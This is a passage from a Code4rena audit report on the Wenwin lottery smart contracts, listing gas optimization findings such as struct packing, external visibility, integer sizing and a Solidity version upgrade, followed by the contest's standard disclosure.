173: claimedAmount += claimWinningTicket(ticketIds[i]);
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L173
275: currentNetProfit += int256(unclaimedJackpotTickets * winAmount[drawId][selectionSize]);
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L275
55: newProfit -= int256(expectedRewardsOut);
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotteryMath.sol#L55
64: excessPotInt -= int256(fixedJackpotSize);
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotteryMath.sol#L64
84: bonusMulti += (excessPot * EXCESS_BONUS_ALLOCATION) / (ticketsSold * expectedPayout);
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotteryMath.sol#L84
64: totalTicketsForReferrersPerDraw[currentDraw] +=
67: totalTicketsForReferrersPerDraw[currentDraw] += numberOfTickets;
69: unclaimedTickets[currentDraw][referrer].referrerTicketCount += uint128(numberOfTickets);
71: unclaimedTickets[currentDraw][player].playerTicketCount += uint128(numberOfTickets);
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/ReferralSystem.sol#L64
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/ReferralSystem.sol#L67
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/ReferralSystem.sol#L69
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/ReferralSystem.sol#L71
78: claimedReward += claimPerDraw(drawIds[counter]);
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/ReferralSystem.sol#L78
147: claimedReward += playerRewardsPerDrawForOneTicket[drawId] * _unclaimedTickets.playerTicketCount;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/ReferralSystem.sol#L147
29: ticketSize += (ticket & uint256(1));
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/TicketUtils.sol#L29
96: winTier += uint8(intersection & uint120(1));
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/TicketUtils.sol#L96
30: depositedBalance += amount;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/StakedTokenLock.sol#L30
43: depositedBalance -= amount;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/StakedTokenLock.sol#L43
[G-11] Public Functions To External
The following functions could be set external to save gas and improve code quality. External call cost is less expensive than of public functions.
Proof Of Concept
function currentRewardSize(uint8 winTier) public view override returns (uint256 rewardSize) {
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L234
function fixedReward(uint8 winTier) public view override returns (uint256 amount) {
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L120
function drawScheduledAt(uint128 drawId) public view override returns (uint256 time) {
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L152
function ticketRegistrationDeadline(uint128 drawId) public view override returns (uint256 time) {
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L156
function rewardPerToken() public view override returns (uint256 _rewardPerToken) {
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/Staking.sol#L48
function earned(address account) public view override returns (uint256 _earned) {
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/Staking.sol#L61
function withdraw(uint256 amount) public override {
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/Staking.sol#L79
function getReward() public override {
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/Staking.sol#L91
[G-12] require()
Should Be Used Instead Of assert()
147: assert(initialPot > 0);
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L147
99: assert((winTier <= selectionSize) && (intersection == uint256(0)));
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/TicketUtils.sol#L99
[G-13] Shorten the array rather than copying to a new one
Inline-assembly can be used to shorten the array by changing the length slot, so that the entries don’t have to be copied to a new, shorter array.
Proof Of Concept
54: uint8[] memory numbers = new uint8[](selectionSize);
63: bool[] memory selected = new bool[](selectionMax);
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/TicketUtils.sol#L54
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/TicketUtils.sol#L63
[G-14] Help The Optimizer By Saving A Storage Variable’s Reference Instead Of Repeatedly Fetching It
To help the optimizer, declare a storage type variable and use it instead of repeatedly fetching the reference in a map or an array.
The effect can be quite significant.
As an example, instead of repeatedly calling someMap[someIndex], save its reference like this: SomeStruct storage someStruct = someMap[someIndex] and use it.
Proof Of Concept
170: uint16 reward = uint16(rewards[winTier] / divisor);
171: if ((rewards[winTier] % divisor) != 0) {
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L170-L171
78: claimedReward += claimPerDraw(drawIds[counter]);
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/ReferralSystem.sol#L78
[G-15] Structs can be packed into fewer storage slots
Each slot saved can avoid an extra Gsset (20000 gas) for the first setting of the struct. Subsequent reads as well as writes have smaller gas savings.
Proof Of Concept
63: struct LotterySetupParams {
/// @dev Token to be used as reward token for the lottery
IERC20 token;
/// @dev Parameters of the draw schedule for the lottery
LotteryDrawSchedule drawSchedule;
/// @dev Price to pay for playing single game (including fee)
uint256 ticketPrice;
/// @dev Count of numbers user picks for the ticket
uint8 selectionSize;
/// @dev Max number user can pick
uint8 selectionMax;
/// @dev Expected payout for one ticket, expressed in `rewardToken`
uint256 expectedPayout;
/// @dev Array of fixed rewards per each non jackpot win
uint256[] fixedRewards;
}
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/interfaces/ILotterySetup.sol#L63-L78
Can save 1 storage slot by changing to:
63: struct LotterySetupParams {
IERC20 token;
uint8 selectionSize;
uint8 selectionMax;
LotteryDrawSchedule drawSchedule;
uint256 ticketPrice;
uint256 expectedPayout;
uint256[] fixedRewards;
}
Can save an additional storage slot if ticketPrice
and expectedPayout
can be of size uint128
if it is unlikely to ever reach uint128.max
then we can save a total of 2 storage slots by changing to:
63: struct LotterySetupParams {
IERC20 token;
uint8 selectionSize;
uint8 selectionMax;
LotteryDrawSchedule drawSchedule;
uint128 ticketPrice;
uint128 expectedPayout;
uint256[] fixedRewards;
}
In addition for the following structs, these can be changed from uint256
to uint64
as it is unlikely for it to reach timestamp the max value of uint256
struct LotteryDrawSchedule {
/// @dev First draw is scheduled to take place at this timestamp
uint256 firstDrawScheduledAt;
/// @dev Period for running lottery
uint256 drawPeriod;
/// @dev Cooldown period when users cannot register tickets for draw anymore
uint256 drawCoolDownPeriod;
}
Can save 2 storage slots by changing to:
struct LotteryDrawSchedule {
/// @dev First draw is scheduled to take place at this timestamp
uint64 firstDrawScheduledAt;
/// @dev Period for running lottery
uint64 drawPeriod;
/// @dev Cooldown period when users cannot register tickets for draw anymore
uint64 drawCoolDownPeriod;
}
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/interfaces/ILotterySetup.sol#L53-L60
[G-16] Usage of uints
/ints
smaller than 32 bytes (256 bits) incurs overhead
When using elements that are smaller than 32 bytes, your contract’s gas usage may be higher. This is because the EVM operates on 32 bytes at a time. Therefore, if the element is smaller than that, the EVM must use more operations in order to reduce the size of the element from 32 bytes to the desired size.
https://docs.soliditylang.org/en/v0.8.11/internals/layout_in_storage.html
Each operation involving a uint8
costs an extra 22-28 gas (depending on whether the other operand is also a variable of type uint8
) as compared to ones involving uint256
, due to the compiler having to clear the higher bits of the memory word before operating on the uint8
, as well as the associated stack operations of doing so. Use a larger size then downcast where needed
Proof Of Concept
34: uint128 public override currentDraw;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L34
162: uint120 _winningTicket = winningTicket[ticketInfo.drawId];
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L162
204: uint120 _winningTicket = TicketUtils.reconstructTicket(randomNumber, selectionSize, selectionMax);
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L204
205: uint128 drawFinalized = currentDraw++;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L205
273: uint128 drawId = currentDraw - LotteryMath.DRAWS_PER_YEAR;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L273
24: uint128 public constant DRAWS_PER_YEAR = 52;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotteryMath.sol#L24
30: uint8 public immutable override selectionSize;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L30
31: uint8 public immutable override selectionMax;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L31
170: uint16 reward = uint16(rewards[winTier] / divisor);
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L170
54: uint8[] memory numbers = new uint8[](selectionSize);
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/TicketUtils.sol#L54
66: uint8 currentNumber = numbers[i];
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/TicketUtils.sol#L66
94: uint120 intersection = ticket & winningTicket;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/TicketUtils.sol#L94
97: intersection >>= 1;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/TicketUtils.sol#L97
10: uint16 public immutable override requestConfirmations;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/VRFv2RNSource.sol#L10
11: uint32 public immutable override callbackGasLimit;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/VRFv2RNSource.sol#L11
71: uint8 selectionSize;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/interfaces/ILotterySetup.sol#L71
73: uint8 selectionMax;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/interfaces/ILotterySetup.sol#L73
14: uint128 referrerTicketCount;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/interfaces/IReferralSystem.sol#L14
16: uint128 playerTicketCount;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/interfaces/IReferralSystem.sol#L16
13: uint128 drawId;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/interfaces/ITicket.sol#L13
15: uint120 combination;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/interfaces/ITicket.sol#L15
[G-17] Unnecessary look up in if
condition
If the ||
condition isn’t required, the second condition will have been looked up unnecessarily.
Proof Of Concept
95: if (notEnoughRetryInvocations || notEnoughTimeReachingMaxFailedAttempts) {
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/RNSourceController.sol#L95
[G-18] Use solidity version 0.8.19 to gain some gas boost
Upgrade to the latest solidity version 0.8.19 to get additional gas savings.
See latest release for reference: https://blog.soliditylang.org/2023/02/22/solidity-0.8.19-release-announcement/
Proof Of Concept
pragma solidity ^0.8.7;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/VRFv2RNSource.sol#L3
pragma solidity ^0.8.7;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/interfaces/IVRFv2RNSource.sol#L3
pragma solidity ^0.8.17;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/StakedTokenLock.sol#L3
Disclosures
C4 is an open organization governed by participants in the community.
C4 Contests incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Contest submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.
C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.